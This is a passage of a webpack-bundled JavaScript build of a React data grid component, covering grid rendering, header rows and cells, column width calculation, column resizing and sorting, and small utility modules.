// otherwise it moves every time you left/right which is janky
e.preventDefault();
var rowIdx = this.state.selected.rowIdx + rowDelta;
var idx = this.state.selected.idx + cellDelta;
this.onSelect({ idx: idx, rowIdx: rowIdx });
},
setActive: function setActive(keyPressed) {
var rowIdx = this.state.selected.rowIdx;
var idx = this.state.selected.idx;
if (this.canEdit(idx) && !this.isActive()) {
var _selected = Object.assign(this.state.selected, { idx: idx, rowIdx: rowIdx, active: true, initialKeyCode: keyPressed });
this.setState({ selected: _selected });
}
},
setInactive: function setInactive() {
var rowIdx = this.state.selected.rowIdx;
var idx = this.state.selected.idx;
if (this.canEdit(idx) && this.isActive()) {
var _selected2 = Object.assign(this.state.selected, { idx: idx, rowIdx: rowIdx, active: false });
this.setState({ selected: _selected2 });
}
},
canEdit: function canEdit(idx) {
var col = this.getColumn(idx);
return this.props.enableCellSelect === true && (col.editor != null || col.editable);
},
isActive: function isActive() {
return this.state.selected.active === true;
},
setupGridColumns: function setupGridColumns() {
var props = arguments.length <= 0 || arguments[0] === undefined ? this.props : arguments[0];
var cols = props.columns.slice(0);
var unshiftedCols = {};
if (props.enableRowSelect) {
var selectColumn = {
key: 'select-row',
name: '',
formatter: React.createElement(CheckboxEditor, null),
onCellChange: this.handleRowSelect,
filterable: false,
headerRenderer: React.createElement('input', { type: 'checkbox', onChange: this.handleCheckboxChange }),
width: 60,
locked: true
};
unshiftedCols = cols.unshift(selectColumn);
cols = unshiftedCols > 0 ? cols : unshiftedCols;
}
return cols;
},
copyPasteEnabled: function copyPasteEnabled() {
return this.props.onCellCopyPaste !== null;
},
dragEnabled: function dragEnabled() {
return this.props.onCellsDragged !== null;
},
renderToolbar: function renderToolbar() {
var Toolbar = this.props.toolbar;
if (React.isValidElement(Toolbar)) {
return React.cloneElement(Toolbar, { onToggleFilter: this.onToggleFilter, numberOfRows: this.props.rowsCount });
}
},
render: function render() {
var cellMetaData = {
selected: this.state.selected,
dragged: this.state.dragged,
onCellClick: this.onCellClick,
onCellDoubleClick: this.onCellDoubleClick,
onCommit: this.onCellCommit,
onCommitCancel: this.setInactive,
copied: this.state.copied,
handleDragEnterRow: this.handleDragEnter,
handleTerminateDrag: this.handleTerminateDrag
};
var toolbar = this.renderToolbar();
var containerWidth = this.props.minWidth || this.DOMMetrics.gridWidth();
var gridWidth = containerWidth - this.state.scrollOffset;
return React.createElement(
'div',
{ className: 'react-grid-Container', style: { width: containerWidth } },
toolbar,
React.createElement(
'div',
{ className: 'react-grid-Main' },
React.createElement(BaseGrid, _extends({
ref: 'base'
}, this.props, {
headerRows: this.getHeaderRows(),
columnMetrics: this.state.columnMetrics,
rowGetter: this.props.rowGetter,
rowsCount: this.props.rowsCount,
rowHeight: this.props.rowHeight,
cellMetaData: cellMetaData,
selectedRows: this.state.selectedRows,
expandedRows: this.state.expandedRows,
rowOffsetHeight: this.getRowOffsetHeight(),
sortColumn: this.state.sortColumn,
sortDirection: this.state.sortDirection,
onSort: this.handleSort,
minHeight: this.props.minHeight,
totalWidth: gridWidth,
onViewportKeydown: this.onKeyDown,
onViewportDragStart: this.onDragStart,
onViewportDragEnd: this.handleDragEnd,
onViewportDoubleClick: this.onViewportDoubleClick,
onColumnResize: this.onColumnResize }))
)
);
}
});
module.exports = ReactDataGrid;
/***/ },
/* 2 */
/***/ function(module, exports) {
module.exports = __WEBPACK_EXTERNAL_MODULE_2__;
/***/ },
/* 3 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var PropTypes = React.PropTypes;
var Header = __webpack_require__(4);
var Viewport = __webpack_require__(19);
var GridScrollMixin = __webpack_require__(33);
var DOMMetrics = __webpack_require__(32);
var cellMetaDataShape = __webpack_require__(29);
var Grid = React.createClass({
displayName: 'Grid',
propTypes: {
rowGetter: PropTypes.oneOfType([PropTypes.array, PropTypes.func]).isRequired,
columns: PropTypes.oneOfType([PropTypes.array, PropTypes.object]),
columnMetrics: PropTypes.shape,
minHeight: PropTypes.number,
totalWidth: PropTypes.number,
headerRows: PropTypes.oneOfType([PropTypes.array, PropTypes.func]),
rowHeight: PropTypes.number,
rowRenderer: PropTypes.func,
emptyRowsView: PropTypes.func,
expandedRows: PropTypes.oneOfType([PropTypes.array, PropTypes.func]),
selectedRows: PropTypes.oneOfType([PropTypes.array, PropTypes.func]),
rowsCount: PropTypes.number,
onRows: PropTypes.func,
sortColumn: React.PropTypes.string,
sortDirection: React.PropTypes.oneOf(['ASC', 'DESC', 'NONE']),
rowOffsetHeight: PropTypes.number.isRequired,
onViewportKeydown: PropTypes.func.isRequired,
onViewportDragStart: PropTypes.func.isRequired,
onViewportDragEnd: PropTypes.func.isRequired,
onViewportDoubleClick: PropTypes.func.isRequired,
onColumnResize: PropTypes.func,
onSort: PropTypes.func,
cellMetaData: PropTypes.shape(cellMetaDataShape)
},
mixins: [GridScrollMixin, DOMMetrics.MetricsComputatorMixin],
getDefaultProps: function getDefaultProps() {
return {
rowHeight: 35,
minHeight: 350
};
},
getStyle: function getStyle() {
return {
overflow: 'hidden',
outline: 0,
position: 'relative',
minHeight: this.props.minHeight
};
},
render: function render() {
var headerRows = this.props.headerRows || [{ ref: 'row' }];
var EmptyRowsView = this.props.emptyRowsView;
return React.createElement(
'div',
_extends({}, this.props, { style: this.getStyle(), className: 'react-grid-Grid' }),
React.createElement(Header, {
ref: 'header',
columnMetrics: this.props.columnMetrics,
onColumnResize: this.props.onColumnResize,
height: this.props.rowHeight,
totalWidth: this.props.totalWidth,
headerRows: headerRows,
sortColumn: this.props.sortColumn,
sortDirection: this.props.sortDirection,
onSort: this.props.onSort
}),
this.props.rowsCount >= 1 || this.props.rowsCount === 0 && !this.props.emptyRowsView ? React.createElement(
'div',
{ ref: 'viewPortContainer', onKeyDown: this.props.onViewportKeydown, onDoubleClick: this.props.onViewportDoubleClick, onDragStart: this.props.onViewportDragStart, onDragEnd: this.props.onViewportDragEnd },
React.createElement(Viewport, {
ref: 'viewport',
width: this.props.columnMetrics.width,
rowHeight: this.props.rowHeight,
rowRenderer: this.props.rowRenderer,
rowGetter: this.props.rowGetter,
rowsCount: this.props.rowsCount,
selectedRows: this.props.selectedRows,
expandedRows: this.props.expandedRows,
columnMetrics: this.props.columnMetrics,
totalWidth: this.props.totalWidth,
onScroll: this.onScroll,
onRows: this.props.onRows,
cellMetaData: this.props.cellMetaData,
rowOffsetHeight: this.props.rowOffsetHeight || this.props.rowHeight * headerRows.length,
minHeight: this.props.minHeight
})
) : React.createElement(
'div',
{ ref: 'emptyView', className: 'react-grid-Empty' },
React.createElement(EmptyRowsView, null)
)
);
}
});
module.exports = Grid;
/***/ },
/* 4 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var joinClasses = __webpack_require__(5);
var shallowCloneObject = __webpack_require__(6);
var ColumnMetrics = __webpack_require__(7);
var ColumnUtils = __webpack_require__(9);
var HeaderRow = __webpack_require__(11);
var PropTypes = React.PropTypes;
var Header = React.createClass({
displayName: 'Header',
propTypes: {
columnMetrics: PropTypes.shape({ width: PropTypes.number.isRequired, columns: PropTypes.any }).isRequired,
totalWidth: PropTypes.number,
height: PropTypes.number.isRequired,
headerRows: PropTypes.array.isRequired,
sortColumn: PropTypes.string,
sortDirection: PropTypes.oneOf(['ASC', 'DESC', 'NONE']),
onSort: PropTypes.func,
onColumnResize: PropTypes.func
},
getInitialState: function getInitialState() {
return { resizing: null };
},
componentWillReceiveProps: function componentWillReceiveProps() {
this.setState({ resizing: null });
},
shouldComponentUpdate: function shouldComponentUpdate(nextProps, nextState) {
var update = !ColumnMetrics.sameColumns(this.props.columnMetrics.columns, nextProps.columnMetrics.columns, ColumnMetrics.sameColumn) || this.props.totalWidth !== nextProps.totalWidth || this.props.headerRows.length !== nextProps.headerRows.length || this.state.resizing !== nextState.resizing || this.props.sortColumn !== nextProps.sortColumn || this.props.sortDirection !== nextProps.sortDirection;
return update;
},
onColumnResize: function onColumnResize(column, width) {
var state = this.state.resizing || this.props;
var pos = this.getColumnPosition(column);
if (pos != null) {
var _resizing = {
columnMetrics: shallowCloneObject(state.columnMetrics)
};
_resizing.columnMetrics = ColumnMetrics.resizeColumn(_resizing.columnMetrics, pos, width);
// we don't want to influence scrollLeft while resizing
if (_resizing.columnMetrics.totalWidth < state.columnMetrics.totalWidth) {
_resizing.columnMetrics.totalWidth = state.columnMetrics.totalWidth;
}
_resizing.column = ColumnUtils.getColumn(_resizing.columnMetrics.columns, pos);
this.setState({ resizing: _resizing });
}
},
onColumnResizeEnd: function onColumnResizeEnd(column, width) {
var pos = this.getColumnPosition(column);
if (pos !== null && this.props.onColumnResize) {
this.props.onColumnResize(pos, width || column.width);
}
},
getHeaderRows: function getHeaderRows() {
var _this = this;
var columnMetrics = this.getColumnMetrics();
var resizeColumn = undefined;
if (this.state.resizing) {
resizeColumn = this.state.resizing.column;
}
var headerRows = [];
this.props.headerRows.forEach(function (row, index) {
var headerRowStyle = {
position: 'absolute',
top: _this.getCombinedHeaderHeights(index),
left: 0,
width: _this.props.totalWidth,
overflow: 'hidden'
};
headerRows.push(React.createElement(HeaderRow, {
key: row.ref,
ref: row.ref,
style: headerRowStyle,
onColumnResize: _this.onColumnResize,
onColumnResizeEnd: _this.onColumnResizeEnd,
width: columnMetrics.width,
height: row.height || _this.props.height,
columns: columnMetrics.columns,
resizing: resizeColumn,
headerCellRenderer: row.headerCellRenderer,
sortColumn: _this.props.sortColumn,
sortDirection: _this.props.sortDirection,
onSort: _this.props.onSort
}));
});
return headerRows;
},
getColumnMetrics: function getColumnMetrics() {
var columnMetrics = undefined;
if (this.state.resizing) {
columnMetrics = this.state.resizing.columnMetrics;
} else {
columnMetrics = this.props.columnMetrics;
}
return columnMetrics;
},
getColumnPosition: function getColumnPosition(column) {
var columnMetrics = this.getColumnMetrics();
var pos = -1;
columnMetrics.columns.forEach(function (c, idx) {
if (c.key === column.key) {
pos = idx;
}
});
return pos === -1 ? null : pos;
},
getCombinedHeaderHeights: function getCombinedHeaderHeights(until) {
var stopAt = this.props.headerRows.length;
if (typeof until !== 'undefined') {
stopAt = until;
}
var height = 0;
for (var index = 0; index < stopAt; index++) {
height += this.props.headerRows[index].height || this.props.height;
}
return height;
},
getStyle: function getStyle() {
return {
position: 'relative',
height: this.getCombinedHeaderHeights(),
overflow: 'hidden'
};
},
setScrollLeft: function setScrollLeft(scrollLeft) {
var node = this.refs.row.getDOMNode();
node.scrollLeft = scrollLeft;
this.refs.row.setScrollLeft(scrollLeft);
if (this.refs.filterRow) {
var nodeFilters = this.refs.filterRow.getDOMNode();
nodeFilters.scrollLeft = scrollLeft;
this.refs.filterRow.setScrollLeft(scrollLeft);
}
},
render: function render() {
var className = joinClasses({
'react-grid-Header': true,
'react-grid-Header--resizing': !!this.state.resizing
});
var headerRows = this.getHeaderRows();
return React.createElement(
'div',
_extends({}, this.props, { style: this.getStyle(), className: className }),
headerRows
);
}
});
module.exports = Header;
/***/ },
/* 5 */
/***/ function(module, exports, __webpack_require__) {
var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
Copyright (c) 2015 Jed Watson.
Licensed under the MIT License (MIT), see
http://jedwatson.github.io/classnames
*/
function classNames() {
var classes = '';
var arg;
for (var i = 0; i < arguments.length; i++) {
arg = arguments[i];
if (!arg) {
continue;
}
if ('string' === typeof arg || 'number' === typeof arg) {
classes += ' ' + arg;
} else if (Object.prototype.toString.call(arg) === '[object Array]') {
classes += ' ' + classNames.apply(null, arg);
} else if ('object' === typeof arg) {
for (var key in arg) {
if (!arg.hasOwnProperty(key) || !arg[key]) {
continue;
}
classes += ' ' + key;
}
}
}
return classes.substr(1);
}
// safely export classNames for node / browserify
if (typeof module !== 'undefined' && module.exports) {
module.exports = classNames;
}
// safely export classNames for RequireJS
if (true) {
!(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = function() {
return classNames;
}.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
}
/***/ },
/* 6 */
/***/ function(module, exports) {
"use strict";
function shallowCloneObject(obj) {
var result = {};
for (var k in obj) {
if (obj.hasOwnProperty(k)) {
result[k] = obj[k];
}
}
return result;
}
module.exports = shallowCloneObject;
/***/ },
/* 7 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var shallowCloneObject = __webpack_require__(6);
var sameColumn = __webpack_require__(8);
var ColumnUtils = __webpack_require__(9);
var getScrollbarSize = __webpack_require__(10);
function setColumnWidths(columns, totalWidth) {
return columns.map(function (column) {
var colInfo = Object.assign({}, column);
if (column.width) {
if (/^([0-9]+)%$/.exec(column.width.toString())) {
colInfo.width = Math.floor(column.width / 100 * totalWidth);
}
}
return colInfo;
});
}
function setDefferedColumnWidths(columns, unallocatedWidth, minColumnWidth) {
var defferedColumns = columns.filter(function (c) {
return !c.width;
});
return columns.map(function (column) {
if (!column.width) {
if (unallocatedWidth <= 0) {
column.width = minColumnWidth;
} else {
column.width = Math.floor(unallocatedWidth / ColumnUtils.getSize(defferedColumns));
}
}
return column;
});
}
function setColumnOffsets(columns) {
var left = 0;
return columns.map(function (column) {
column.left = left;
left += column.width;
return column;
});
}
/**
* Update column metrics calculation.
*
* @param {ColumnMetricsType} metrics
*/
function recalculate(metrics) {
// compute width for columns which specify width
var columns = setColumnWidths(metrics.columns, metrics.totalWidth);
var unallocatedWidth = columns.filter(function (c) {
return c.width;
}).reduce(function (w, column) {
return w - column.width;
}, metrics.totalWidth);
unallocatedWidth -= getScrollbarSize();
var width = columns.filter(function (c) {
return c.width;
}).reduce(function (w, column) {
return w + column.width;
}, 0);
// compute width for columns which doesn't specify width
columns = setDefferedColumnWidths(columns, unallocatedWidth, metrics.minColumnWidth);
// compute left offset
columns = setColumnOffsets(columns);
return {
columns: columns,
width: width,
totalWidth: metrics.totalWidth,
minColumnWidth: metrics.minColumnWidth
};
}
/**
* Update column metrics calculation by resizing a column.
*
* @param {ColumnMetricsType} metrics
* @param {Column} column
* @param {number} width
*/
function resizeColumn(metrics, index, width) {
var column = ColumnUtils.getColumn(metrics.columns, index);
var metricsClone = shallowCloneObject(metrics);
metricsClone.columns = metrics.columns.slice(0);
var updatedColumn = shallowCloneObject(column);
updatedColumn.width = Math.max(width, metricsClone.minColumnWidth);
metricsClone = ColumnUtils.spliceColumn(metricsClone, index, updatedColumn);
return recalculate(metricsClone);
}
function areColumnsImmutable(prevColumns, nextColumns) {
return typeof Immutable !== 'undefined' && prevColumns instanceof Immutable.List && nextColumns instanceof Immutable.List;
}
function compareEachColumn(prevColumns, nextColumns, isSameColumn) {
var i = undefined;
var len = undefined;
var column = undefined;
var prevColumnsByKey = {};
var nextColumnsByKey = {};
if (ColumnUtils.getSize(prevColumns) !== ColumnUtils.getSize(nextColumns)) {
return false;
}
for (i = 0, len = ColumnUtils.getSize(prevColumns); i < len; i++) {
column = prevColumns[i];
prevColumnsByKey[column.key] = column;
}
for (i = 0, len = ColumnUtils.getSize(nextColumns); i < len; i++) {
column = nextColumns[i];
nextColumnsByKey[column.key] = column;
var prevColumn = prevColumnsByKey[column.key];
if (prevColumn === undefined || !isSameColumn(prevColumn, column)) {
return false;
}
}
for (i = 0, len = ColumnUtils.getSize(prevColumns); i < len; i++) {
column = prevColumns[i];
var nextColumn = nextColumnsByKey[column.key];
if (nextColumn === undefined) {
return false;
}
}
return true;
}
function sameColumns(prevColumns, nextColumns, isSameColumn) {
if (areColumnsImmutable(prevColumns, nextColumns)) {
return prevColumns === nextColumns;
}
return compareEachColumn(prevColumns, nextColumns, isSameColumn);
}
module.exports = { recalculate: recalculate, resizeColumn: resizeColumn, sameColumn: sameColumn, sameColumns: sameColumns };
/***/ },
/* 8 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var isValidElement = __webpack_require__(2).isValidElement;
module.exports = function sameColumn(a, b) {
var k = undefined;
for (k in a) {
if (a.hasOwnProperty(k)) {
if (typeof a[k] === 'function' && typeof b[k] === 'function' || isValidElement(a[k]) && isValidElement(b[k])) {
continue;
}
if (!b.hasOwnProperty(k) || a[k] !== b[k]) {
return false;
}
}
}
for (k in b) {
if (b.hasOwnProperty(k) && !a.hasOwnProperty(k)) {
return false;
}
}
return true;
};
/***/ },
/* 9 */
/***/ function(module, exports) {
'use strict';
module.exports = {
getColumn: function getColumn(columns, idx) {
if (Array.isArray(columns)) {
return columns[idx];
} else if (typeof Immutable !== 'undefined') {
return columns.get(idx);
}
},
spliceColumn: function spliceColumn(metrics, idx, column) {
if (Array.isArray(metrics.columns)) {
metrics.columns.splice(idx, 1, column);
} else if (typeof Immutable !== 'undefined') {
metrics.columns = metrics.columns.splice(idx, 1, column);
}
return metrics;
},
getSize: function getSize(columns) {
if (Array.isArray(columns)) {
return columns.length;
} else if (typeof Immutable !== 'undefined') {
return columns.size;
}
}
};
/***/ },
/* 10 */
/***/ function(module, exports) {
'use strict';
var size = undefined;
function getScrollbarSize() {
if (size === undefined) {
var outer = document.createElement('div');
outer.style.width = '50px';
outer.style.height = '50px';
outer.style.position = 'absolute';
outer.style.top = '-200px';
outer.style.left = '-200px';
var inner = document.createElement('div');
inner.style.height = '100px';
inner.style.width = '100%';
outer.appendChild(inner);
document.body.appendChild(outer);
var outerWidth = outer.clientWidth;
outer.style.overflowY = 'scroll';
var innerWidth = inner.clientWidth;
document.body.removeChild(outer);
size = outerWidth - innerWidth;
}
return size;
}
module.exports = getScrollbarSize;
/***/ },
/* 11 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var shallowEqual = __webpack_require__(12);
var HeaderCell = __webpack_require__(13);
var getScrollbarSize = __webpack_require__(10);
var ExcelColumn = __webpack_require__(15);
var ColumnUtilsMixin = __webpack_require__(9);
var SortableHeaderCell = __webpack_require__(18);
var PropTypes = React.PropTypes;
var HeaderRowStyle = {
overflow: React.PropTypes.string,
width: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),
height: React.PropTypes.number,
position: React.PropTypes.string
};
var DEFINE_SORT = ['ASC', 'DESC', 'NONE'];
var HeaderRow = React.createClass({
displayName: 'HeaderRow',
propTypes: {
width: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),
height: PropTypes.number.isRequired,
columns: PropTypes.oneOfType([PropTypes.array, PropTypes.object]),
onColumnResize: PropTypes.func,
onSort: PropTypes.func.isRequired,
onColumnResizeEnd: PropTypes.func,
style: PropTypes.shape(HeaderRowStyle),
sortColumn: PropTypes.string,
sortDirection: React.PropTypes.oneOf(DEFINE_SORT),
cellRenderer: PropTypes.func,
headerCellRenderer: PropTypes.func,
resizing: PropTypes.func
},
mixins: [ColumnUtilsMixin],
shouldComponentUpdate: function shouldComponentUpdate(nextProps) {
return nextProps.width !== this.props.width || nextProps.height !== this.props.height || nextProps.columns !== this.props.columns || !shallowEqual(nextProps.style, this.props.style) || this.props.sortColumn !== nextProps.sortColumn || this.props.sortDirection !== nextProps.sortDirection;
},
getHeaderRenderer: function getHeaderRenderer(column) {
if (column.sortable) {
var sortDirection = this.props.sortColumn === column.key ? this.props.sortDirection : DEFINE_SORT.NONE;
return React.createElement(SortableHeaderCell, { columnKey: column.key, onSort: this.props.onSort, sortDirection: sortDirection });
}
return this.props.headerCellRenderer || column.headerRenderer || this.props.cellRenderer;
},
getStyle: function getStyle() {
return {
overflow: 'hidden',
width: '100%',
height: this.props.height,
position: 'absolute'
};
},
getCells: function getCells() {
var cells = [];
var lockedCells = [];
for (var i = 0, len = this.getSize(this.props.columns); i < len; i++) {
var column = this.getColumn(this.props.columns, i);
var cell = React.createElement(HeaderCell, {
ref: i,
key: i,
height: this.props.height,
column: column,
renderer: this.getHeaderRenderer(column),
resizing: this.props.resizing === column,
onResize: this.props.onColumnResize,
onResizeEnd: this.props.onColumnResizeEnd
});
if (column.locked) {
lockedCells.push(cell);
} else {
cells.push(cell);
}
}
return cells.concat(lockedCells);
},
setScrollLeft: function setScrollLeft(scrollLeft) {
var _this = this;
this.props.columns.forEach(function (column, i) {
if (column.locked) {
_this.refs[i].setScrollLeft(scrollLeft);
}
});
},
render: function render() {
var cellsStyle = {
width: this.props.width ? this.props.width + getScrollbarSize() : '100%',
height: this.props.height,
whiteSpace: 'nowrap',
overflowX: 'hidden',
overflowY: 'hidden'
};
var cells = this.getCells();
return React.createElement(
'div',
_extends({}, this.props, { className: 'react-grid-HeaderRow' }),
React.createElement(
'div',
{ style: cellsStyle },
cells
)
);
}
});
module.exports = HeaderRow;
/***/ },
/* 12 */
/***/ function(module, exports) {
/**
* Copyright 2013-2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule shallowEqual
* @typechecks
*
*/
'use strict';
var hasOwnProperty = Object.prototype.hasOwnProperty;
/**
* Performs equality by iterating through keys on an object and returning false
* when any key has values which are not strictly equal between the arguments.
* Returns true when the values of all keys are strictly equal.
*/
function shallowEqual(objA, objB) {
if (objA === objB) {
return true;
}
if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {
return false;
}
var keysA = Object.keys(objA);
var keysB = Object.keys(objB);
if (keysA.length !== keysB.length) {
return false;
}
// Test for A's keys different from B.
var bHasOwnProperty = hasOwnProperty.bind(objB);
for (var i = 0; i < keysA.length; i++) {
if (!bHasOwnProperty(keysA[i]) || objA[keysA[i]] !== objB[keysA[i]]) {
return false;
}
}
return true;
}
module.exports = shallowEqual;
/***/ },
/* 13 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var ReactDOM = __webpack_require__(14);
var joinClasses = __webpack_require__(5);
var ExcelColumn = __webpack_require__(15);
var ResizeHandle = __webpack_require__(16);
var PropTypes = React.PropTypes;
function simpleCellRenderer(objArgs) {
return React.createElement(
'div',
{ className: 'widget-HeaderCell__value' },
objArgs.column.name
);
}
var HeaderCell = React.createClass({
displayName: 'HeaderCell',
propTypes: {
renderer: PropTypes.oneOfType([PropTypes.func, PropTypes.element]).isRequired,
column: PropTypes.shape(ExcelColumn).isRequired,
onResize: PropTypes.func.isRequired,
height: PropTypes.number.isRequired,
onResizeEnd: PropTypes.func.isRequired,
className: PropTypes.string
},
getDefaultProps: function getDefaultProps() {
return {
renderer: simpleCellRenderer
};
},
getInitialState: function getInitialState() {
return { resizing: false };
},
onDragStart: function onDragStart(e) {
this.setState({ resizing: true });
// need to set dummy data for FF
if (e && e.dataTransfer && e.dataTransfer.setData) e.dataTransfer.setData('text/plain', 'dummy');
},
onDrag: function onDrag(e) {
var resize = this.props.onResize || null; // for flows sake, doesnt recognise a null check direct
if (resize) {
var _width = this.getWidthFromMouseEvent(e);
if (_width > 0) {
resize(this.props.column, _width);
}
}
},
onDragEnd: function onDragEnd(e) {
var width = this.getWidthFromMouseEvent(e);
this.props.onResizeEnd(this.props.column, width);
this.setState({ resizing: false });
},
getWidthFromMouseEvent: function getWidthFromMouseEvent(e) {
var right = e.pageX;
var left = ReactDOM.findDOMNode(this).getBoundingClientRect().left;
return right - left;
},
getCell: function getCell() {
if (React.isValidElement(this.props.renderer)) {
return React.cloneElement(this.props.renderer, { column: this.props.column });
}
return this.props.renderer({ column: this.props.column });
},
getStyle: function getStyle() {
return {
width: this.props.column.width,
left: this.props.column.left,
display: 'inline-block',
position: 'absolute',
overflow: 'hidden',
height: this.props.height,
margin: 0,
textOverflow: 'ellipsis',
whiteSpace: 'nowrap'
};
},
setScrollLeft: function setScrollLeft(scrollLeft) {
var node = ReactDOM.findDOMNode(this);
node.style.webkitTransform = 'translate3d(' + scrollLeft + 'px, 0px, 0px)';
node.style.transform = 'translate3d(' + scrollLeft + 'px, 0px, 0px)';
},
render: function render() {
var resizeHandle = undefined;
if (this.props.column.resizable) {
resizeHandle = React.createElement(ResizeHandle, {
onDrag: this.onDrag,
onDragStart: this.onDragStart,
onDragEnd: this.onDragEnd
});
}
var className = joinClasses({
'react-grid-HeaderCell': true,
'react-grid-HeaderCell--resizing': this.state.resizing,
'react-grid-HeaderCell--locked': this.props.column.locked
});
className = joinClasses(className, this.props.className, this.props.column.cellClass);
var cell = this.getCell();
return React.createElement(
'div',
{ className: className, style: this.getStyle() },
cell,
resizeHandle
);
}
});
module.exports = HeaderCell;
/***/ },
/* 14 */
/***/ function(module, exports) {
module.exports = __WEBPACK_EXTERNAL_MODULE_14__;
/***/ },
/* 15 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var ExcelColumnShape = {
name: React.PropTypes.string.isRequired,
key: React.PropTypes.string.isRequired,
width: React.PropTypes.number.isRequired
};
module.exports = ExcelColumnShape;
/***/ },
/* 16 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var Draggable = __webpack_require__(17);
var ResizeHandle = React.createClass({
displayName: 'ResizeHandle',
style: {
position: 'absolute',
top: 0,
right: 0,
width: 6,
height: '100%'
},
render: function render() {
return React.createElement(Draggable, _extends({}, this.props, {
className: 'react-grid-HeaderCell__resizeHandle',
style: this.style
}));
}
});
module.exports = ResizeHandle;
/***/ },
/* 17 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var PropTypes = React.PropTypes;
var Draggable = React.createClass({
displayName: 'Draggable',
propTypes: {
onDragStart: PropTypes.func,
onDragEnd: PropTypes.func,
onDrag: PropTypes.func,
component: PropTypes.oneOfType([PropTypes.func, PropTypes.constructor])
},
getDefaultProps: function getDefaultProps() {
return {
onDragStart: function onDragStart() {
return true;
},
onDragEnd: function onDragEnd() {},
onDrag: function onDrag() {}
};
},
getInitialState: function getInitialState() {
return {
drag: null
};
},
componentWillUnmount: function componentWillUnmount() {
this.cleanUp();
},
onMouseDown: function onMouseDown(e) {
var drag = this.props.onDragStart(e);
if (drag === null && e.button !== 0) {
return;
}
window.addEventListener('mouseup', this.onMouseUp);
window.addEventListener('mousemove', this.onMouseMove);
this.setState({ drag: drag });
},
onMouseMove: function onMouseMove(e) {
if (this.state.drag === null) {
return;
}
if (e.preventDefault) {
e.preventDefault();
}
this.props.onDrag(e);
},
onMouseUp: function onMouseUp(e) {
this.cleanUp();
this.props.onDragEnd(e, this.state.drag);
this.setState({ drag: null });
},
cleanUp: function cleanUp() {
window.removeEventListener('mouseup', this.onMouseUp);
window.removeEventListener('mousemove', this.onMouseMove);
},
render: function render() {
return React.createElement('div', _extends({}, this.props, {
onMouseDown: this.onMouseDown,
className: 'react-grid-HeaderCell__draggable' }));
}
});
module.exports = Draggable;
/***/ },
/* 18 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var joinClasses = __webpack_require__(5);
var DEFINE_SORT = {
ASC: 'ASC',
DESC: 'DESC',
NONE: 'NONE'
};
var SortableHeaderCell = React.createClass({
displayName: 'SortableHeaderCell',
propTypes: {
columnKey: React.PropTypes.string.isRequired,
column: React.PropTypes.shape({ name: React.PropTypes.string }),
onSort: React.PropTypes.func.isRequired,
sortDirection: React.PropTypes.oneOf(['ASC', 'DESC', 'NONE'])
},
onClick: function onClick() {
var direction = undefined;
switch (this.props.sortDirection) {
default:
case null:
case undefined:
case DEFINE_SORT.NONE:
direction = DEFINE_SORT.ASC;
break;
case DEFINE_SORT.ASC:
direction = DEFINE_SORT.DESC;
break;
case DEFINE_SORT.DESC:
direction = DEFINE_SORT.NONE;
break;
}
this.props.onSort(this.props.columnKey, direction);
},
getSortByText: function getSortByText() {
var unicodeKeys = {
ASC: '9650',
DESC: '9660',
NONE: ''
};
return String.fromCharCode(unicodeKeys[this.props.sortDirection]);
},
render: function render() {
var className = joinClasses({
'react-grid-HeaderCell-sortable': true,
'react-grid-HeaderCell-sortable--ascending': this.props.sortDirection === 'ASC',
'react-grid-HeaderCell-sortable--descending': this.props.sortDirection === 'DESC'
});
return React.createElement(
'div',
{ className: className,
onClick: this.onClick,
style: { cursor: 'pointer' } },
this.props.column.name,
React.createElement(
'span',
{ className: 'pull-right' },
this.getSortByText()
)
);
}
});
module.exports = SortableHeaderCell;
/***/ },
/* 19 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var Canvas = __webpack_require__(20);
var ViewportScroll = __webpack_require__(31);
var cellMetaDataShape = __webpack_require__(29);
var PropTypes = React.PropTypes;
var Viewport = React.createClass({
displayName: 'Viewport',
mixins: [ViewportScroll],
propTypes: {
rowOffsetHeight: PropTypes.number.isRequired,
totalWidth: PropTypes.number.isRequired,
columnMetrics: PropTypes.object.isRequired,
